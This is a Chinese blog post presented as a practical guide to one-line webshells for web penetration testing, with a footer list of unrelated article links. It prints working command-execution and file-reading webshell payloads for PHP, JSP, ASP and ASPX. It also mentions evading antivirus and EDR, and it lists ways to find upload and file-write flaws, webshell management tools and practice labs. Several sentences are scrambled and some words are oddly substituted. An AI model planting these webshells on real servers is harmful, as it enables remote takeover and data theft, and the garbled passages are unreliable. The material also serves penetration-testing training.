当前位置: 首页 > news >正文

实用指南:Web渗透之一句话木马

Web渗透之一句话木马
1)常见的一句话木马及漏洞关联
常见的一句话木马(按Web语言分类):
php:<?php @eval($_POST['pass']);?>(通过POST参数pass执行命令)、<?phpsystem($_GET['cmd']);?>(利用GET参数cmd执行系统命令)
jsp:<%@page import="java.io.*"%><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>(执行参数cmd的命令)、<%newProcessBuilder(request.getParameter("cmd")).start();%>
asp:<%execute(request("pass"))%>(执行POST参数pass的命令)、<%evalrequest("code")%>
aspx:<%@Page Language="C#"%><%System.Diagnostics.Process.Start(Request["cmd"]);%>、<%Response.Write(System.IO.File.ReadAllText(Request["file"]));%>(读取档案内容)
注意一句话木马杀软/edr会检测,但咱们可以使用免杀技术来绕过检测,常见的WebShell免杀技术有:特征值处理类,代码混淆类,加密免杀类,白名单绕过类等等,后面有时间本人开免杀指导咱们再聊这些。


黑盒查看漏洞:
功能关联:
重点关注网站的文件上传功能(如头像上传、附件上传、文档上传),尝试上传包含一句话木马的文件
否有数据写入特性(如留言板、配置保存、日志记录),测试能否通过输入框写入木马代码就是检查
观察文档上传后的返回信息,如是否显示文件路径、是否允许php/jsp/asp/aspx等脚本后缀

白盒代码审计:
关键词搜索:
否存在过滤不严的情况:就是在源码中搜索文件上传相关函数,判断
PHP:move_uploaded_file()、is_uploaded_file()、$_FILES
JSP:ServletFileUpload、FileItem、write()
ASP:Upload组件、FileSystemObject
ASPX:FileUpload控件、SaveAs()方式
搜索文件写入相关函数,判断是否可注入木马代码:
PHP:file_put_contents()、fwrite()、fputs()
JSP:FileWriter、BufferedWriter、OutputStreamWriter
ASP:CreateTextFile()、WriteLine()
ASPX:File.WriteAllText()、StreamWriter


2)一句话木马手段
黑盒测试:
黑盒测试(无源码,基于特性场景探测)
黑盒测试不依赖目标架构的源代码,仅通过模拟攻击者的实际操作,利用网站公开功能(如文件上传、数据提交、参数交互等)尝试植入或触发一句话木马,核心思路是“寻找可写入脚本代码的入口,并验证代码是否能被服务器解析执行”。

白盒测试:
“通过审计代码逻辑,发现可植入/触发一句话木马的漏洞点”即寻找“档案执行、命令执行、参数解析”相关代码中过滤不严、逻辑缺陷的位置,判断攻击者能否利用这些缺陷注入木马代码。就是白盒测试依赖目标系统的源代码,核心

3)Webshell木马工具
冰蝎(Behinder):一款国产的Webshell管理工具,支持多种加密传输方式(如AES、RSA),能有效绕过WAF检测。支持PHP、JSP、ASP、ASPX等多种脚本类型,提供命令执行、文件管理、数据库操作等功能,界面简洁,操作便捷,是国内渗透测试人员常用工具。
菜刀(Caidao):经典的Webshell管理工具,哪怕版本更新较慢,但因其轻量、稳定,仍被广泛使用。支持借助HTTP协议与一句话木马交互,可执行命令、管理文件、管理数据库等,适用于多种Web语言环境。
蚁剑(AntSword):开源的Webshell管理工具,具有模块化架构,帮助自定义编码和加密方式,能灵活绕过各种安全防护。提供可视化界面,帮助文件管理、命令执行、反弹shell等功能,且社区活跃,插件丰富。
CobaltStrike:国外知名的渗透测试框架,其中包含Webshell管理功能。支持生成多种类型的恶意payload,可通过Webshell实现对目标主机的持久控制,集成了团队协作、会话管理、漏洞利用等多种功能,适合高级渗透测试场景。
Weevely:一款轻量级的Python编写的Webshell工具,主要针对PHP环境。支持生成隐蔽的一句话木马,通过命令行与目标交互,提供档案操作、系统命令执行、数据库访问等功能,适合在命令行环境下进行渗透测试。
自己构建WebShell工具:当然大家也可以自己写这类器具,防止指纹被识别到。

4)靶场
DVWA:包含文件上传模块,可练习各种一句话木马的上传与利用
Upload-Labs:专注于文件上传漏洞练习,包含20多种不同的上传绕过场景
VulnHub:提供多个包括Webshell漏洞的虚拟机靶场,如Metasploitable
HackTheBox:有多个包含档案上传和反序列化漏洞的靶机,适合进阶练习
CTFtime:提供大量CTF比赛中的Webshell相关题目,适合实战训练

http://www.jsqmd.com/news/15870/

相关文章:

  • 2025年10月岩板岛台品牌推荐排名:聚焦高端定制需求与全案交付能力
  • 牛客小白月赛122 E
  • 2025年10月岩板工厂推荐评测榜:产能、专利、环保三维数据透视
  • PCIe扫盲——物理层电气部分基础(二)之De-emphasis
  • 2025年10月豆包关键词排名优化推荐对比榜:聚焦跨平台能力与售后体系的实用指南
  • PCIE 的 AFE DFE 是什么?
  • 2025年10月豆包关键词排名优化推荐榜:十强服务商多维对比与中立选购指南
  • 20232327 2025-2026-1 《网络与系统攻防技术》实验二实验报告
  • 2025 年最新反应釜源头厂家排行榜:涵盖实验室 / 高压 / 加氢等类型设备,精选优质企业最新推荐
  • 2025 年最新蓝牙耳机源头厂家口碑推荐榜:包含降噪 / 运动 / 真无线等多类型,聚焦供应链核心企业,为消费者精选优质品牌
  • 2025年10月铝合金凉亭品牌推荐排行:深度评测五家主流厂商
  • PLAN(动态更新)
  • 2025年10月岩板品牌推荐排行:从产能到交付的全链路实测与排名解析
  • 变分自编码器原理与潜变量模型解析
  • Open Bug Bounty 安全验证流程解析
  • PostgreSql FDW 与 DBLINK 区别 - 详解
  • 2025 阻燃膜厂商最新推荐榜单:国际环保标准达标企业权威发布,覆盖 BOPET/PET/ 新能源专用全品类
  • 2025 年最新微波干燥设备生产厂家推荐排行榜:覆盖多行业需求,精选优质高效设备品牌指南黄粉虫微波/黑水虻微波/中药材微波干燥设备公司品牌推荐
  • 2025 年最新推荐钢结构源头厂家排行榜:聚焦美标 / 欧标钢结构等多领域,精选实力企业助力工程高效选材
  • 2025年10月访客系统推荐榜单详解:从核心指标到用户体验的客观剖析
  • 2025 年北京红旗国悦 12 座 / 北京考斯特 4S 店 / 北京丰田柯斯达 / 北京考斯特商务车经销商推荐:大隆金马特装定制与全链条服务解析
  • 2025年10月deepseek关键词排名优化推荐评测榜:聚焦头部企业技术实力与服务透明度
  • AtCoder-abc228_h Histogram题解
  • 公钥私钥概念
  • 2025 年融合瓦生产厂家最新推荐排行榜:TPS/TPO/TPF 塑钢及钢塑一体融合瓦企业盘点与品质解析
  • 2025 年防腐瓦源头厂家最新推荐榜:聚焦塑钢防腐瓦 / PSP 塑钢覆合防腐瓦板等多类型产品,精选优质企业助力精准采购决策
  • python第五天
  • 2025年10月AI搜索优化推荐榜单:十强服务商对比评测与避坑指南
  • uml九种类图介绍
  • 2025 年试验箱厂家最新推荐排行榜:涵盖高低温 / 恒温恒湿 / 冷热冲击等设备,精选研发实力强、质量管控严的优质品牌